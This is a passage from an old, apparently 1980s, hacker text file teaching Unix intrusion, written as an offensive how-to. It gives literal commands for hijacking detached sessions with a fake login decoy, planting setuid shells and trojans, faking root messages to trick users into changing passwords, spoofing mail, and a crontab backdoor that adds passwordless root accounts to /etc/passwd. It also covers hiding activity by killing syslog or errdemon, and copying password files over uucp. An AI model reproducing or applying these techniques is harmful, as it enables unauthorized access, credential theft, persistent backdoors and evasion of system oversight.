redirect the output of the cat +command into another file. If you have write access to a directory but not +write access to a specific file, you can create a copy of the file, modify it +(since it will be owned by your account), delete the original, and rename the +copy to the name of the original. + +DETACHED ACCOUNTS +----------------- + This is a big security hole in many Unix systems. Occasionally, if a +user is disconnected without logging off, his account may remain on-line, and +still attached to the tty he was connected to the system through. Now, if +someone calls to the system and and gets connected to that tty, he is +automatically inside the system, inside the disconnected user's account. There +are some interesting ways to take advantage of this flaw. For instance, if you +desire to gain the passwords to more account, you can set a decoy program up to +fake the login sequence, execute the program, and then disconnect from the +system. Soon, some unlucky user will call the system and be switched into the +detached account's tty. When they enter their username and password, the decoy +will store their input in a file on the system, display the message "login +incorrect", and then kill the detached account's shell process, thus placing +the user at the real login prompt. A Unix decoy written by Shooting Shark will +be given at the end of this file. + +UID SHELLS +---------- + When the uid bit is set on a shell program, executing this shell will +change your user id to the user id of the account that owns the shell file, and +you will have full use of that account, until you press control-d (ending the +second shell process) and return to your normal user id. This gives you the +power to execute any commands under that account's user id. This is better than +knowing the account's password, since as long as the file remains on the +system, you can continue to make use of that account, even if the password is +changed. When I gain control of an account, I usually make a copy of the shell +while logged in under that account in a nice, out of the way directory, and set +its uid and gid bits. That way, if I should happen to lose the account (for +instance, if the password were changed), I could log in under another account +and still make use of the lost account by executing the uid shell. + +FORCED DETACHING +---------------- + This is an easy means of gaining the use of an account on systems with +the detached account flaw. Usually, most terminal device files will have public +write permission, so that the user that logs in under it can receive messages +via write (unless he turns off messages with the mesg n command). This means +that you can cat a file into the user's terminal device file. A compiled file, +full of all kinds of strange control characters and garbage, works nicely. Say, +the user is logged in on tty03. Just type cat /bin/sh > /dev/tty03. The user +will see something like this on his screen: + +LKYD;uiayh;fjahfasnf kajbg;aev;iuaeb/vkjeb/kgjebg;iwurghjiugj;di vd +b/fujhf;shf;j;kajbv;jfa;vdblwituwoet8y6- +2958ybp959vqvq43p8ytpgyeerv98tyq438pt634956b v856 -868vcf-56- +e8w9v6bc[6[b6r8wpcvt + +Hehehe! Now, the poor devil is confused. He tries to press break- no response, +and the garbage just keeps coming. He tries to enter various commands, to no +avail. Catting a file into his terminal device file "ties it up", so to speak, +and since this is the file through which all I/O with his terminal is done, he +finds it almost impossible to get any input through to the shell. He can't even +log off! So, in desperation, he disconnects... It is best to execute the cat +command as a background process, so that you can keep an eye on the users on +the system. Usually, the user will call the system back and, unless he gets +switched back into his old detached account (in which case he will usually hang +up again), he will kill the detached account's login process. So, if you see 2 +users on the system using the same username, you know he's logged back in +already. Anyways...after an appropriate length of time, and you feel that he's +disconnected, log off and call the system back a few times until you get +switched into the detached account. Then just create a uid shell owned by the +account and you can use it any time you please, even though you don'tknow the +password. Just remember one thing, though-when the cat command has finished +displaying the compiled file on the victim's screen, if he is still logged on +to that terminal, he will regain control. Use a long file! + +FAKING WRITE MESSAGES +--------------------- + Being able to write to other people's terminal files also makes it +possible to fake write messages from any user on the system. For example, you +wish to fake a message from root. Edit a file to contain these lines: +Message from root console ^g [note control-g (bell) character] +Bill, change your password to "commie" before logging off today. There has been +a security leak. + [don't forget to put this--in the file.] +Now, type "who" to find bill's tty device, and type: + +cat [filename] > /dev/ttyxx + +Bill will see: + +Message from root console [beep!] +Bill, change your password to "commie" before logging off today. There has been +a security leak. + + +WHEN FILE PERMISSIONS ARE CHECKED +--------------------------------- + Unix checks file permissions every time you issue a write or execute +command to a file. It only checks read permissions, however, when you first +issue the read command. For instance, if you issued the command to cat the +contents of a file, and someone changed the file's permissions so that you did +not have read permission while the process was still being executed, the cat +command would continue as normal. + +ONLINE TERMINAL READING +----------------------- + You can also, if you have some means of assuming an account's userid, +(such as having a uid shell for that account), you can read the contents of +someone's terminal on-line. Just execute the uid shell and type "cat +/dev/ttyxx &" (which will execute the cat command in the background, which will +still display the contents to your screen, but will also allow you to enter +commands). Once the person logs off, ownership of his terminal device file will +revert to root (terminal device files are temporarily owned by the account +logged in under them), but since you had the proper permissions when you +started the read process, you can still continue to view the contents of that +terminal file, and can watch, online, as the next use logs in. There is also +one other trick that can sometimes be used to gain the root password, but +should be exercised as a last resort, since it involved revealing your identity +as a hacker to the superuser. On many systems, the superuser also has a normal +user account that he uses for personal business, and only uses the root account +for system management purposes. (This is, actually, a rather smart security +move, as it lessens the chances of, say, things like his executing a trojan +horse program while under the root account, which, to say the least, could be +disastrous [from his point of view].) If you can obtain a uid shell for his +user account, simply execute a read process of his terminal file in the +background (while under the uid shell), and then drop back into your normal +shell. Then send him a write message like: + +I'm going to format your winchesters + +When he uses the su command to go to the superuser account to kick you off the +system, you can sit back and watch him type in the root password. (This should +only be done if you have more than one account on the system- remember, many +systems will not let you log into a superuser account remotely, and if the only +account you have is a superuser account, you are effectively locked out of the +system.) + +MAIL FRAUD +---------- + The TCP/IP protocol is a common protocol for file transfers between +Unix systems, and between Unix and other operating systems. If the Unix system +you are on features TCP/IP file transfers, it will have the telnet program on- +line, usually in the directory /bin. This can be used to fake mail from any +user on the system. Type "telnet" to execute the telnet program. You should +see: + +Telnet> + +At this prompt, type "open [name] 25", where name is the uucp network name of +the system you are on. This will connect you to the system's 25th port, used to +receive network mail. Once connected, type: + +rcpt to: [username] + +Where username is the name of the user you wish to send mail to. Next, type: + +mail from: [user] + +Where user is the name of the use you wish the mail to appear from. You can +also specify a non-existant user. You can also fake network mail from a user on +another system. For information on the format of the address, see the section +on the uucp facilities. Then type: + +data + +You will be prompted to enter the message. Enter "." on a blank line to end and +send the mail. When you'e finished sending mail, type "quit" to exit. + + Thanks to Kid&CO. from Private Sector/2600 Magazine for that novel bit +of information. + +UNIX TROJAN HORSES +------------------ + This is an old, OLD subject, and there's little original material to +add about it. Trojan horses are programs that appear to execute one function, +but actually perform another. This is perhaps the most common means of hacking +Unix. + One of the easiest means of setting up a Unix trojan horse is to place +a program named after a system command, such as ls, "in the way" of someone's +search path. For instance, if a user's searchpath is ".:/usr/bin", which means +that the system searches the user's current directory for a command first, you +could place a shell script in the user's home directory called "ls" that, when +executed, created a copy of the shell, set the new shell file's uid and gid +bits, echo an error message (such as "lsa: not found", leading the user to +think he mistyped the command and the offending character was not echoed, due +to line noise or whatever), and delete itself. When the user executes the ls +command in his directory, the uid shell is created. Another good idea is to set +the name of the trojan to a command in the user's login file, have it make the +uid shell, execute the real command, and then delete itself. + Another good way to set up a trojan horse is to include a few lines in +a user's login file. Simply look at the user's password file entry to find out +which shell he logs in under, and then modify the appropriate login file (or +create one if it doesn't exist) to create a uid shell when the user logs on. + If you can modify a user's file in the directory +/usr/spool/cron/crontabs, you can add an entry to create a uid shell. Just +specify * * * * * as the times, and wait about 1-2 minutes. In 1 minute, the +cron utility will execute the commands in the user's crontab file. Then you can +delete the entry. Again, if the user doesn't have a file in +/usr/spool/cron/crontabs, you can create one. + One last note- be sure you give the trojan horse execute permissionsm, +otherwise the victim will receive the message "[filename]- cannot execute"... +Kind of a dead giveaway. +CHANGING UID PROGRAMS +--------------------- + If you have write access to a uid file, you can easily modify it to +become a shell. First, copy the file. Then type: + +cat /bin/sh > [uid file] + +This will replace the file's contents with a shell program, but the uid bit +will remain set. Then execute the file and create a well-hidden uid shell, and +replace the subverted uid file with the copy. + +ADDING AN ACCOUNT TO A UNIX SYSTEM +---------------------------------- + To add an account to a Unix system, you must have write access to the +password file, or access to the root account so that you can change the +password file's protections. To add an account, simply edit the file with the +text file editor, edit (or any of the other Unix editors, if you wish). Add an +entry like this: + +[username]::[user#]:[group#]:[description]:[home directory]:[pathname of shell] + +Notice that the password field is left blank. To set the password, type: + +passwd [username] + +You will then be prompted to enter and verify a password for the account. +If you wish the account to have superuser privileges, it must have a user +number of zero. +UNIX BACKDOOR +------------- + A backdoor is a means of by-passing a system's normal security for +keeping unauthorized users out. For all the talk about back doors, they are +rarely accomplished. But creating a backdoor in Unix System V is really quite +easy. It simply requires adding a few entries to the file +/usr/lib/crontab or /usr/spool/cron/crontabs/root. (Again, if the file doesn't +exist, you can create it.) Add these lines, which will create 2 accounts on the +system, one a user account ("prop") and one a superuser account ("prop2"), at +1 am system time every night, and delete them at 2 am every night. + +0 1 * * * chmod +w /etc/passwd +1 1 * * * echo "prop::1:1::/:/bin/sh" >> /etc/passwd +2 1 * * * echo "prop2::0:0::/:/bin/sh" >> /etc/passwd +20 1 * * * grep -v "prop*:" /etc/passwd > /usr/spool/uucppublic/.p +0 2 * * * cat /usr/spool/uucppublic/.p > /etc/passwd +10 2 * * * chmod -w /etc/passwd +15 2 * * * rm /usr/spool/uucppublic/.p + +COVERING YOUR TRACKS +-------------------- + Naturally, you want to keep your cover, and not leave any trace that +there is a hacker on the system. This section will give you some tips on how to +do just that. First of all, the Unix system keeps track of when a file was last +modified (see the information on the command ls -l in the section on file and +directory protections). You don't want anyone noticing that a file has been +tampered with recently, so after screwing around with a file, if at all +possible, you should return its last modified date to its previous value using +the touch command. The syntax for the touch command is: + +touch hhmmMMdd [file] + +Where hh is the hour, mm is the minute, MM is the month, and dd is the day. +[file] is the name of the file you wish to change the date on. + What usually gives hackers away are files they create on a system. If +you must create files and directories, make use of the hidden files feature. +Also, try to hide them in directories that are rarely "ls"'d, such as +/usr/spool/lp, /usr/lib/uucp, etc (in other words, directories whose contents +are rarely tampered with). + Avoid use of the mail facilities, as anyone with the proper access can +read the /usr/mail files. If you must send mail to another hacker on the +system, write the message into a text file first, and encrypt it. Then mail it +to the recipient, who can save the message without the mail header using the w +option, and decrypt it. + Rather than adding additional superuser accounts to a system, I've +found it better to add simple user accounts (which don't stand out quite as +much) and use a root uid shell (judiciously hidden in a rarely used directory) +whenever I need superuser privileges. It's best to use a user account as much +as possible, and only go to the superuser account whenever you absolutely need +superuser priv's. This may prevent damaging accidents. And be careful when +creating a home directory for any accounts you add. I've always found it better +to use existing directories, or to add a hidden subdirectory to a little- +tampered with directory. + + Many systems have "watchdog" programs which log off inactive accounts +after a certain period of time. These programs usually keep logs of this kind +of activityl. Avoid sitting on the sitting doing nothing for long periods of +time. + While using some of the methods described in this file, you may replace +a user's file with a modified copy. This copy will be owned by your account and +group instead of the account which owned the original. You can change the group +back to the original owner's group with the chgrp command, the format of which +is: + +chgrp [groupname] [file] + +And change the owner back to the original with the chown command: + +chown [user] [file] + + When you change ownership or group ownership of a file, the uid and gid +bits respectively are reset, so you can't copy the shell, set its uid bit, and +change its owner to root to gain superuser capabilities. + Above all, just be careful and watch your step! Unix is a very flexible +operating system, and even though it comes equipped with very little in the way +of accounting, it is easy to add your own security features to it. If you do +something wrong, such as attempting to log in under a superuser account +remotely only to see "not on console-goodbye", assume that a note is made of +the incident somewhere on the system. Never assume that something [anything!] +won't be noticed. And leave the system and its files exactly as you found them. +In short, just use a little common sense. + If you're a real klutze, you can turn off the error logging (if you +have root capabilities). I will include information on System V error logging, +which most Unix clones will have error logging facilities similar to, and on +Berkely Standard Distribution (BSD) Unix error logging. + +BERKELY (BSD) UNIX ERROR LOGGING +-------------------------------- +Type "cat /etc/syslog.pid". This file contains the +process number of the syslog (error logging) program. Kill this process, and +you stop the error logging. Remember to start the logging process back up after +you're through stumbling around. + If you want to see where the error messages are sent, type: + +cat /etc/syslog.config + +Entries are in the form: + +#file + +Such as: + +5/etc/errlogfile + +The number is the priority of the error, and the file is the file that errors +of that priority or higher are logged to. If you see an entry with /dev/console +as its log file, watch out! Errors of that priority will result in an error +message being displayed on the system console. Sometimes, a list of usernames +will follow an entry for errorlogging. This means that these users will be +notified of any priorities of that level or higher. +There are 9 levels of priority to errors, and an estimation of their +importance: + +9 -Lowly errors. This information is just unimportant junk used to debug + small errors in the system operation that usually won't affect its + performance. Usually discarded without a glance. + +8 -Usually just thrown away. These messages provide information on the + system's operation, but nothing particularly useful. + +7 -Not greatly important, but stored for informational purposes. + +6 -System errors which can be recovered from. + +5 -This is the priority generally given to errors caused by hackers- + not errors, but important information, such as security violatins: + bad login and su attempts, attempts to access files without proper + permissions, etc. + +4 -Errors of higher priority than 6. + +3 -Major hardware and software errors. + +2 -An error that requires immediate attention...very serious. + +1 -***<<<(((CRAAASSSHHH!!!)))>>>***- + +SYSTEM V ERROR LOGGING +---------------------- + System V error logging is relatively simple compared to Berkely Unix +error logging. The System V error logging program is errdemon. To find the +process id of the error logging program, type "ps -uroot". This will give you a +list of all the processes run under the root id. You will find /etc/errdemon +somewhere in the list. Kill the process, and no more error logging. The +errdemon program is not as sophisticated as BSD Unix's syslog program: it only +logs all errors into a file (the default file is /usr/adm/errfile, but another +file can be specified as an argument to the program when it is started). +Errdemon does not analyze the errors as syslog does, it simply takes them from +a special device file called /dev/error and dumps them into the error logging +file. If you wish to examine the error report, use the errpt program, which +creates a report of the errors in the error logging file and prints it out on +the stanard output. The format is: errpt [option] [error logging file]. For a +complete report of all errors, use the -a option: + +errpt -a /usr/adm/errfile + +The output is very technical, however, and not of much use to the hacker. + +UUCP NETWORKING +--------------- + This section will cover the workings and use of the Unix uucp +facilities. UUCP stands for Unix to Unix Copy. The uucp utilities are for the +exchange of files between Unix systems. There also facilities for users to dial +out and interact with remote systems, and for executing limited commands on +remote systems without logging in. + +OUTWARD DIALING +--------------- + The command for outward dialing is cu. The format is: + +cu -n[phone number] + +Such as: + +cu -n13125285020 + +On earlier versions of Unix, the format was simply "cu [phone number]". + +Note, that the format of the phone number may be different from system to +system- for instance, a system that dials outward off of a pbx may need to have +the number prefixed by a 9, and one that uses an extender may not need to have +the number (if long distance) preceded by a 1. To dial out, however, the system +must have facilities for dialing out. The file /usr/lib/uucp/Devices (called +L-devices on earlier systems) will contain a list of the available dialout +devices. Entries in this file are in the format: + +[device type] [device name] [dial device] [linespeed] [protocol, optional] + +Device type is one of 2 types: ACU and DIR. If ACU, it is a dialout device. DIR +is a direct connection to a specific system. Device name is the name of the +base name of the dialout device's device file, which is located in the /dev +directory. Dial device is usually an unused field. It was used on older systems +where one device (device name in the above example) was used to exchange data, +and another device (dial device, above) did the telephone dialing. In the age +of the autodial modem, this is a rarely used feature. The next, linespeed, is +the baud rate of the device, usually either 300, 1200, or 2400, possibly 4800 +or 9600 if the device is a direct connection. The protocol field is for +specifying the communications protocol. This field is optional and generally +not used. Here is an example entry for a dialout device and a direct +connection: + +ACU tty99 unused 1200 +DIR tty03 unused 9600 + +If a dialout device is capable of more than one baud rate, it must have 2 +entries in the Devices (L-devices) file, one for each baud rate. Note, that the +device in the above example is a tty- usually, dialout device names will be in +the form tty##, as they can be used both for dialing out, and receiving +incoming calls. The device can be named anything, however. + +There are several options worth mentioning to cu: +-s Allows you to specify the baud rate. There must be a device in the + Devices file with this speed. +-l Allows you to specify which device you wish to use. + +If you wish to connect to a system that there is a direct connection with, +simply type "cu -l[device]". This will connect you to it. You can also do that +do directly connect to a dialout device, from which point, if you know what +commands it accepts, you can give it the dial commands directly. + +Using the cu command is basically the same as using a terminal program. When +you use it to connect to a system, you then interact with that system as if you +dialed it directly from a terminal. Like any good terminal program, the cu +"terminal program" provides facilities for file transfers, and other commands. +Here is a summary of the commands: + +~. -Disconnect from the remote system. + +~! -Temporarily execute a shell on the local system. When you + wish to return to the remote system, press control-D. + +~![cmd] -Execute a command on the local system. Example: ~!ls -a + +~$[cmd] -Execute a command on the local system and send the output to + the remote system. + +~%put f1 f2 -Sends a file to the remote system. F1 is the name of the + file on the local system, and f2 is the name to be given the + copy made on the remote system. + +~take f1 f2 -Copies a file from the remote to the local system. F1 is + the name of the remote file, and f2 is the name to be given + to the local copy. + +Note, that the commands for transferring output and files will only work if you +are communicating with another Unix system. + You may be wondering how you can find out the format for the phone +number, which is necessary to dial out. The format can be obtained from the +file /usr/lib/uucp/Systems (called L.sys on earlier Unix systems). This file +contains the uucp network names and phone numbers of other Unix systems, as +well as other information about them. This file contains the information needed +to carry out uucp file transfers with the systems listed within it. The entries +are in the format: + +[system name] [times] [devicename] [linespeed] [phone number] [login info] + +System name is the name of the system. +Times is a list of the times when the system can be contacted. This field will +usually just have the entry "Any", which means that the system can be contacted +at any time. Never means that the system can never be called. You can also +specify specific days and times when the system can be contacted. The days are +abbreviated like this: +Su Mo Tu We Th Fr Sa +Where Su is Sunday, Mo is Monday, etc. If the system can be called on more than +one day of the week, you can string the days together like this:SuMoTu for +Sunday, Monday, and Tuesday. You can also specify a range of hours when the +system can be called, in the 24 hour format, like this: Su,0000-0100 means that +the system can be called Sunday from midnight to 1am. The week days (Monday +through Friday) can be abbreviated as Wk. +Device name is the name of the device to call the system with. If the system is +directly connected, this file will contain the base name of the device file of +the device which connects it to the local system. If the system has to be +dialed over the phone, this field will be "ACU". +Linespeed is the baud rate needed to connect to the system. There must be a +device available with the specified baud rate to contact the system. +Phone number is the phone number of the system. By looking at these entries, +you can obtain the format for the phone number. For instance, if this field +contained "913125285020" for an entry, you would know that the format would be +9+1+area code+prefix+suffix. +The login field contains information used for uucp transfers, and will be +discussed in detail later. + Sometimes you will see alphabetic or other strange characters in the +phone number field. Sometimes, these may be commands for the particular brand +of modem that the system is using to dialout, but other times, these may +actually be a part of the phone number. If so, the meaning of these characters +called tokens can be found in the file /usr/lib/uucp/Dialcodes (called +L-dialcodes on earlier systems). Entries in this file are in the form: + +token translation + +For example: + +chicago 312 + +Would mean that the token chicago means to dial 312. So, if the phone number +field of a Systems entry was: + +chicago5285020 + +It would mean to dial 3125285020. + +You can add an entry to the Systems file for systems that you wish to call +frequently. Simply edit the file using one of the Unix system's editors, and +add an entry like this: + +ripco Any ACU 1200 13125285020 unused + +And then any time you wished to call the BBS Ripco, you would type: + +cu ripco + +And the system would do the dialing for you, drawing the phone number from the +entry for Ripco in the Systems file. + +HOW UUCP TRANSFERS WORK +----------------------- + This section will detail how a uucp file transfer works. When you issue +the command to transfer a file to/from a remote system, the local system dials +out to the remote system. Then, using the information contained in the login +field of the Systems file, it logs into an account on the remote system, in +exactly the same manner as you would log into a Unix system. Usually, however, +uucp accounts use a special shell, called uucico, which implements certain +security features which (are supposed to) keep the uucp account from being used +for any other purpose than file transfers with another Unix system. (Note: not +ALL uucp accounts will use this shell.) If you've ever logged into the uucp +account on the system and received the message, "Shere=[system name]", and the +system wouldn't respond to any of your input, that account was using the uucico +shell, which prevents the account from being used as a normal "user" account. +The local system then requests the transfer, and if security features of the +remote system which will be discussed later do not prevent the transfer, the +file will be copied to (or from if you requested to send a file) the local +system. The account is then logged off of the remote system, and the connection +is dropped. + +ADDING A LOGIN FIELD TO A SYSTEMS ENTRY +-------------------------------------- + Many superusers feel that if the uucp account uses the uucico shell, +that it is "secure". Because of this, they may ignore other uucp security +measures, and probably not give the account a password. If you find such a +system, you can add an entry for the system to the Systems (L.sys) file of +another Unix system and try to, say, transfer a copy of its password file. To +do so, simply follow the outline in the section on cu for how to add an entry +to the Systems file. That will cover everything but how to add the login field, +which is covered in this section. + The login section consists of expect/sendsubfields. For example, here +is an example login field: + +ogin: uucp assword: uucp + +The first subfield is what is expected from the remote system, in this case +"ogin:". This means to expect the login prompt, "Login:". Note, that you do not +have to enter the complete text that the remote system sends, the text sent +from the remote system is scanned left to right as it is sent until the +expected text is found. The second subfield contains the local system's +response, which is sent to the remote system. In this case, the local system +sends "uucp" when it receives the login prompt. Next, the local system scans +the output from the remote system until it receives "assword:" ("password:"), +then sends "uucp" (the password, in this example, for the uucp account). +Because of line noise or other interference, when the local system connects to +the remote, it may not receive the expected string. For this possibility, you +may specify the expected string several times, like this: + +ogin:-ogin: uucp assword:-assword: uucp + +The - separates that if the expected string is not received, to expect the +string specified after the hyphen. Sometimes, you may need to send a special +character, such as kill or newline, to the system if the expected string is not +received. You can do that like this: + +ogin:-BREAK-ogin: uucp assword: uucp + +The -BREAK- means that if ogin: isn't received the first time, to send a break +signal to the remote system, and then expect ogin: again. Other common entries +are: + +ogin:-@-ogin: Send a kill character if the expected string isn't + received the first time. +ogin:-EOT-ogin: Send a control-D if the expected string isn't received. +ogin:--ogin: Send a null character if the expected string isnt' + received. + +If the system you wish to transfer files with doesn't send anything when you +first connect to it, (say, you have to press return first), the first expect +entry should be "" (nothing), and the first send field should be \r (a return +character). There are certain characters, like return, which are represented by +certain symbols or combinations of characters. Here is a list of these: + +\r -Return. +@ -Kill. +- -Null/newline character. +"" -Nothing. + +UNUSUAL LOGIN ENTRIES +--------------------- + Sometimes, the login entry for a system might contain more than just +fields to expect the login prompt, send the username, expect the password +prompt, and send the password. For instance, if you have to go through a +multiplexer to get to the system, the login field would contain a subfield to +select the proper system from the multiplexer. + Sometimes, on systems, that use the Hayes smartmodem to dial out, the +phone number field may be left unused (will contain an arbitrary entry, such as +the word "UNUSED"), and the dialing command will be contained in the login +field. For example: + +ripco Any ACU 1200 UNUSED "" ATDT13125285020 CONNECT \r ernumber: new + +So, when you try to transfer a file with a Unix system called "ripco": +"UNUSED" is sent to the Hayes smartmodem. Of course, this is not a valid Hayes +command, so it is ignored by the modem. Next, the system moves the login field. +The first expect subfield is "", which means to expect nothing. It then sends +the string "ATDT13125285020", which is a Hayes dialing comand, which will make +the modem dial 13125285020. When the string "CONNECT" is received (which is +what the smartmodem will respond with when it connects), the system sends a +carriage return and waits for the "Usernumber:" prompt. When it receives that, +it sends "new". This completes the login. + +UUCP SYNTAX +----------- + Once you've completed an entry for the Unix system you wish to transfer +files with, you can issue the uucp command, and attempt the transfer. The +syntax to copy a file from the remote system is: + +uucp remote![file pathname] [local pathname] + +Where remote is the name of the system you wish to copy the file from, [file +pathname] is the pathname of the file you wish to copy, and [local pathname] is +the pathname of the file on the local system that you wish to name the copy +that is made on the local system. +To transfer a file from the local system to the remote system, the syntax is: + +uucp [local pathname] remote![file pathname] + +Where [local pathname] is the file on the local system that you wish to +transfer to the remote system, remote is the name of the remote system, and +[file pathname] is the pathname you wish to give to the copy to be made on the +remote system. + +So, to copy the ripco system's password file, type: + +uucp ripco!/etc/passwd /usr/spool/uucppublic/ripcofile + +Which will, hopefully, copy the password file from ripco into a file on the +local system called /usr/spool/uucppublic/ripcofile. The directory +/usr/spool/uucppublic is a directory set up especially for the reception of +uucp-transferred files, although you can have the file copied to any directory +(if the directory permissions don't prevent it). + +DEBUGGING UUCP PROCEDURES +------------------------- + So, what if your transfer did not go through? Well, this section will +detail how to find out what went wrong, and how to correct the situation. + +UULOG +----- + The uulog command is used to draw up a log of transactions with remote +systems. You can either draw up the entries by system name, or the name of the +user who initiated the transaction. +For our purposes, we only want to draw up the log by system name. The format +is: + +uulog -s[system name] + +Now, this will pull up the logs for ALL transactions with this particular +system. We only want the logs for the last attempted transaction with the +system. Unfortunately, this can't be done, you'll just have to sort through the +logs until you reach the sequence of the last transaction. If the logs extend +back a long time, say about a week, however, you can use the grep command to +call up the logs only for a certain date: + +uulog -s[system] | grep mm/dd- + +Where mm is the month (in the form ##, such as 12 or 01) and dd is the day, in +the same form). This takes the output of the uulog command, and searches +through it with the grep command and only prints out those entries which +contain the date the grep command is searching for. The log entries will be in +the form: + +[username] [system] (month/day-hour:minute-pid) DESCRIPTION + +Where: + +username -Is the userid of the account that initiated the transaction. +system -Is the name of the system that the transaction was attempted + with. +month/day -Date of transaction. +hour:minute -Time of transaction. +job number -The transfer's process id. +DESCRIPTION -The log message. + +An example of a typical log entry: + +root ripco (11/20-2:00-1234) SUCCEEDED (call to ripco) + +In the above example, the root account initiated a transaction with the Ripco +system. The system was contacted on November 20, at 2:00. The job number of the +transaction is 1234. + +Here is an explanation of the various log messages you will encounter, and +their causes: + +1. SUCCEEDED (call to [system name]) + +The system was successfully contacted. + +2. DIAL FAILED (call to [system name]) + +Uucp failed to contact the system. The phone number entry for the system in the +Systems file may be wrong, or in the wrong format. + +3. OK (startup) + +Conversation with the remote system has been initiated. + +4. LOGIN FAILED + +Uucp was unable to log into the remote system. There may be an error in the +login field in the entry for the remote system in the Systems file, or line +noise may have caused the login to fail. + +5. WRONG SYSTEM NAME + +The system's entry in the Systems file has the wrong name for the system at the +phone number specified in the entry. + +6. REMOTE DOES NOT KNOW ME + +The remote system does not recognize the name of the local system, and will not +perform transactions with an unknown system (some will, some won't...see the +section on uucp security). + +7. REQUEST ([remote file] --> [local file] username) + +The file transfer has been requested. + +8. OK (conversation complete) + +The transfer has been completed. + +9. ACCESS DENIED + +Security measures prevented the file transfers. +If you get this error, you will receive mail on the local system informing you +that the transfer was denied by the remote. + +10. DEVICE LOCKED + +All the dialout devices were currently in use. + + + +A successful transaction log will usually look like this: + +root ripco (11/20-2:00-1234) SUCCEEDED (call to ripco) +root ripco (11/20-2:01-1234) OK (startup) +root ripco (11/20-2:01-1234) REQUEST (ripco!/etc/passwd --> /ripcofile root) +root ripco (11/20-2:03 1234) OK (conversation complete) + + When an error occurs during a transfer with a system, a status file is +created for that system, and remains for a set period of time, usually about an +hour. During this time, that system cannot be contacted. These files, depending +on which version of Unix you are on, will either be in the directory +/usr/spool/uucp, and have the form: +STST..[system name] +or will be in the directory /usr/spool/uucp/.Status, and have the same name as +the system. These status files will contain the reason that the last transfer +attempt with the system failed. These files are periodically purged, and if you +wish to contact the system before its status file is purged, you must delete +its status file. +The files containing the failed transfer request will also remain. If you are +using the latest version of System V, these files will be in a subdirectory of +the directory /usr/spool/uucp. For instance, if the system is called ripco, +the files will be in the directory /usr/spool/uucp/ripco. On other systems, +these files will be in the directory /usr/spool/uucp/C., or /usr/spool/uucp. +These files are in the form: + +C.[system name]AAAAAAA + +Where [system name] is the name of the system to be contacted, and AAAAAA is a +the transfer's uucp job number. (You can see the transfer request's job number +by specifying the j option when you initiate the transfer. For example, +"uucp -j ripco!/etc/passwd /usr/spool/uucppublic/ripcofile" would initiate the +transfer of the ripco system's password file, and display the job number on +your screen.) Type "cat C.system[jobnumber]", and you will see something like +this: + +R /etc/passwd /usr/pub/.dopeypasswd root -dc dummy 777 guest + +On earlier versions of Unix, these files will be in the directory +/usr/spool/uucp/C. To find the file containing your transfer, display the +contents of the files until you find the proper one. If your transfer fails, +delete the transfer request file and the status file, correct any errors in the +Systems file or whatever, and try again! + +UUCP SECURITY +------------- + Obviously, uucp access to files has to be restricted. Otherwise, +anyone, from any system, could copy any file from the remote system. This +section will cover the security features of the uucp facilities. + The file /usr/lib/uucp/USERFILE contains a list of the directories that +remote systems can copy from, and local users can send files from to remote +systems. The entries in this file are in the format: + +[local user],[system] [callback?] [directories] + +Where: + +local user -Is the username of a local account. This is for the purpose + of restricting which directories a local user can send files + from to a remote system. +system -Is the name of a remote system. This is for the purpose of + restricting which directories a specific remote system can + copy files from. +callback? -If there is a c in this field, then if a transfer request is + received from the system indicated in the system field, then + the local system (in this case, the local system is the system + which receives the transfer request, rather than the system + that initiated it) will hang up and call the remote back (at + the number indicated in the remote's entry in the local's + Systems file) before starting the transfer. +directories -Is a list of the pathnames of the directories that the remote + system indicated in the system field can copy files from, or + the local user indicated in the local user field can send files + from to a remote system. + +A typical entry might look like: + +local_dork,ripco - /usr/spool/uucppublic + +This means that the user local_dork can only send files to a remote system +which are in the directory /usr/spool/uucppublic, and the remote system ripco +can only copy files from the local system that are in the directory +/usr/spool/uucppublic. This is typical: often, remotes are only allowed to copy +files in that directory, and if they wish to copy a file from another portion +of the system, they must notify a user on the system to move that file to the +uucppublic directory. When a transfer request is received from a remote system, +the local system scans through the userfile, ignoring the local user field (you +can't restrict transfers with a particular user from a remote system...the copy +access granted to a system in the USERFILE is granted to all users from that +system), until it finds the entry for that system, and if the system is allowed +to copy to or from that directory, the transfer is allowed, otherwise it is +refused. If an entry for that system is not found, the USERFILE is scanned +until an entry with a null system name (in other words, an entry with no system +name specified) is found, and the directory permissions for that entry are +used. If no entry is found with a null system name, the transfer is denied. +There are a few quirks about USERFILE entries. First, if you have copy access +to a directory, you also have copy access to any directories below it in the +system tree. Thus, lazy system operators, rather than carefully limiting a +system's access to only the directories it needs access to, often just give +them copy access to the root directory, thus giving them copy access to the +entire system tree. Yet another mistake made by careless superusers is leaving +the system name field empty in the entries for the local users. Thus, if a +system that doesn't have an entry in the USERFILE requests a transfer with the +local system, when the USERFILE is scanned for an entry with a null system +name, if the entries for the local users come first in the USERFILE, the system +will use the first entry for a local user it finds, since it has a null system +name in the system name field. Note, that none of these security features even +works if the uucp account on the system the transfer is requested with does not +use the uucico shell. In any case, whether the account uses the uucico shell or +not, even if you have copy access to a directory, individual file or directory +protections may prevent the copying. For information on uucp security in yet +another version of the uucp facilities, see the piece on the Permissions file +in the section on uux security. + +EXECUTING COMMANDS ON A REMOTE SYSTEM +------------------------------------- + There are 2 commands for executing commands on a remote system- uux and +rsh (remote shell- this has nothing to do with the rsh shell [restricted Bourne +shell]). This section will cover the uses of both. + +UUX +--- + The uux command is one of the uucp utilities. This is used, not for +file transfers, but for executing non-interactive commands on a remote system. +By non-interactive, I mean commands that don't request input from the user, but +are executed immediately when issued, such as rm and cp. The format is: + +uux remote!command line + +Where remote is the name of the remote system to perform the command on, and +the rest (command line) is the command to be performed, and any arguments to +the command. You will not receive any of the commnand's output, so this command +can't be used for, say, printing the contents of a text file to your screen. + +UUX SECURITY +------------ + If the uucp account on the remote system uses the uucico shell, then +these security features apply to it. + + The file /usr/lib/uucp/Commands file contains a list of the commands a +remote system can execute on the system. By remote system, in this case, I mean +the system that the user who initiates the uux command is on, and local system +will mean the system that receives the uux request. Entries in the file +/usr/lib/uucp/Commands are in the following format: + +PATH=[pathname] +command +command + " to infinity... +command,system + +The first line, PATH=[pathname], sets the searchpath for the remote system +requesting the uux execution of a command on the local system. This entry is +just the same as, say, a line in a login file that sets the searchpath for a +regular account, example: PATH=/bin:/usr/bin +Which sets the searchpath to search first the directory /bin, and the the +directory /usr/bin when a command is issued. The following entries are the base +names of the programs/commands that the remote can execute on the local system. +The last program/command in this list is followed by a comma and the name of +the remote site. For example: + +PATH=/bin +rmail +lp,ripco + +Means that the remote system Ripco can execute the rmail and lp commands on the +local system. Usually, only the lp and rmail commands will be 